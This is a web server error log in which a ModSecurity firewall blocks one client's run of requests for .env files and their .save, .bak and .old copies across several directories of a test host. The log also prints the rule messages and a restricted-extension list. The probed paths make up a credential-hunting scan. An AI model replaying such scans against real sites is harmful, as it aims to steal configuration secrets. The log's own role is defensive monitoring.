[Thu Nov 27 18:08:38.678096 2025] [:error] [pid 364939] [client 3.75.214.235:56160] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aSiFlhr_ze0xmC_DyvfLaAAAAA0"]
[Thu Nov 27 18:08:38.678262 2025] [:error] [pid 364939] [client 3.75.214.235:56160] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aSiFlhr_ze0xmC_DyvfLaAAAAA0"]
[Thu Nov 27 18:08:38.746919 2025] [authz_core:error] [pid 353188] [client 3.75.214.235:56192] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env
[Thu Nov 27 18:08:38.816035 2025] [authz_core:error] [pid 353186] [client 3.75.214.235:56220] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.save
[Thu Nov 27 18:08:38.891226 2025] [authz_core:error] [pid 353185] [client 3.75.214.235:56240] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.bak
[Thu Nov 27 18:08:38.963206 2025] [authz_core:error] [pid 360200] [client 3.75.214.235:56274] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.old
[Thu Nov 27 18:08:39.042683 2025] [:error] [pid 362070] [client 3.75.214.235:56308] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aSiFl37GWRIORDaPTtG7IwAAAAs"]
[Thu Nov 27 18:08:39.042907 2025] [:error] [pid 362070] [client 3.75.214.235:56308] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aSiFl37GWRIORDaPTtG7IwAAAAs"]
[Thu Nov 27 18:08:39.043087 2025] [:error] [pid 362070] [client 3.75.214.235:56308] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aSiFl37GWRIORDaPTtG7IwAAAAs"]
[Thu Nov 27 18:08:39.111609 2025] [:error] [pid 364938] [client 3.75.214.235:56338] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aSiFl1EFdTVEtgaNa5gxDAAAAAc"]
[Thu Nov 27 18:08:39.111826 2025] [:error] [pid 364938] [client 3.75.214.235:56338] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aSiFl1EFdTVEtgaNa5gxDAAAAAc"]
[Thu Nov 27 18:08:39.112003 2025] [:error] [pid 364938] [client 3.75.214.235:56338] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aSiFl1EFdTVEtgaNa5gxDAAAAAc"]
[Thu Nov 27 18:08:39.179782 2025] [:error] [pid 353187] [client 3.75.214.235:56380] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aSiFl3jjVMPW7zDRgsawawAAAAM"]
[Thu Nov 27 18:08:39.179969 2025] [:error] [pid 353187] [client 3.75.214.235:56380] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aSiFl3jjVMPW7zDRgsawawAAAAM"]
[Thu Nov 27 18:08:39.180184 2025] [:error] [pid 353187] [client 3.75.214.235:56380] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aSiFl3jjVMPW7zDRgsawawAAAAM"]
[Thu Nov 27 18:08:39.180396 2025] [:error] [pid 353187] [client 3.75.214.235:56380] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aSiFl3jjVMPW7zDRgsawawAAAAM"]
[Thu Nov 27 18:08:39.252260 2025] [:error] [pid 354739] [client 3.75.214.235:56408] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aSiFl-_UStX-GTeIAe_u_AAAAAY"]
[Thu Nov 27 18:08:39.252439 2025] [:error] [pid 354739] [client 3.75.214.235:56408] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aSiFl-_UStX-GTeIAe_u_AAAAAY"]
[Thu Nov 27 18:08:39.252649 2025] [:error] [pid 354739] [client 3.75.214.235:56408] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aSiFl-_UStX-GTeIAe_u_AAAAAY"]
[Thu Nov 27 18:08:39.252826 2025] [:error] [pid 354739] [client 3.75.214.235:56408] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aSiFl-_UStX-GTeIAe_u_AAAAAY"]
[Thu Nov 27 18:08:39.322822 2025] [:error] [pid 362069] [client 3.75.214.235:56430] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aSiFl7t0j3LvN_HNhHWZEAAAAAo"]
[Thu Nov 27 18:08:39.323039 2025] [:error] [pid 362069] [client 3.75.214.235:56430] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aSiFl7t0j3LvN_HNhHWZEAAAAAo"]
[Thu Nov 27 18:08:39.323226 2025] [:error] [pid 362069] [client 3.75.214.235:56430] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aSiFl7t0j3LvN_HNhHWZEAAAAAo"]
[Thu Nov 27 18:08:39.395802 2025] [:error] [pid 364939] [client 3.75.214.235:56454] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aSiFlxr_ze0xmC_DyvfLaQAAAA0"]
[Thu Nov 27 18:08:39.396064 2025] [:error] [pid 364939] [client 3.75.214.235:56454] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aSiFlxr_ze0xmC_DyvfLaQAAAA0"]
[Thu Nov 27 18:08:39.396243 2025] [:error] [pid 364939] [client 3.75.214.235:56454] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aSiFlxr_ze0xmC_DyvfLaQAAAA0"]
[Thu Nov 27 18:08:39.464113 2025] [:error] [pid 353188] [client 3.75.214.235:56480] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aSiFlz4fHjXDucK3GWvWwgAAAAQ"]
[Thu Nov 27 18:08:39.464280 2025] [:error] [pid 353188] [client 3.75.214.235:56480] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aSiFlz4fHjXDucK3GWvWwgAAAAQ"]
[Thu Nov 27 18:08:39.464498 2025] [:error] [pid 353188] [client 3.75.214.235:56480] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aSiFlz4fHjXDucK3GWvWwgAAAAQ"]
[Thu Nov 27 18:08:39.464678 2025] [:error] [pid 353188] [client 3.75.214.235:56480] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aSiFlz4fHjXDucK3GWvWwgAAAAQ"]
[Thu Nov 27 18:08:39.540900 2025] [:error] [pid 353186] [client 3.75.214.235:56500] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aSiFlyOJA5NFmjDGU5hITgAAAAI"]
[Thu Nov 27 18:08:39.541069 2025] [:error] [pid 353186] [client 3.75.214.235:56500] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aSiFlyOJA5NFmjDGU5hITgAAAAI"]
[Thu Nov 27 18:08:39.541287 2025] [:error] [pid 353186] [client 3.75.214.235:56500] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aSiFlyOJA5NFmjDGU5hITgAAAAI"]
[Thu Nov 27 18:08:39.541482 2025] [:error] [pid 353186] [client 3.75.214.235:56500] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aSiFlyOJA5NFmjDGU5hITgAAAAI"]
[Thu Nov 27 18:08:39.611937 2025] [:error] [pid 353185] [client 3.75.214.235:56534] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSiFl3TG8IrOxOxezX5AsgAAAAE"]
[Thu Nov 27 18:08:39.612162 2025] [:error] [pid 353185] [client 3.75.214.235:56534] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSiFl3TG8IrOxOxezX5AsgAAAAE"]
[Thu Nov 27 18:08:39.612338 2025] [:error] [pid 353185] [client 3.75.214.235:56534] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSiFl3TG8IrOxOxezX5AsgAAAAE"]
[Thu Nov 27 18:08:39.682640 2025] [:error] [pid 360200] [client 3.75.214.235:56556] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aSiFlwQeQhonID1lme2zGwAAAAk"]
[Thu Nov 27 18:08:39.682900 2025] [:error] [pid 360200] [client 3.75.214.235:56556] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aSiFlwQeQhonID1lme2zGwAAAAk"]
[Thu Nov 27 18:08:39.683083 2025] [:error] [pid 360200] [client 3.75.214.235:56556] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aSiFlwQeQhonID1lme2zGwAAAAk"]
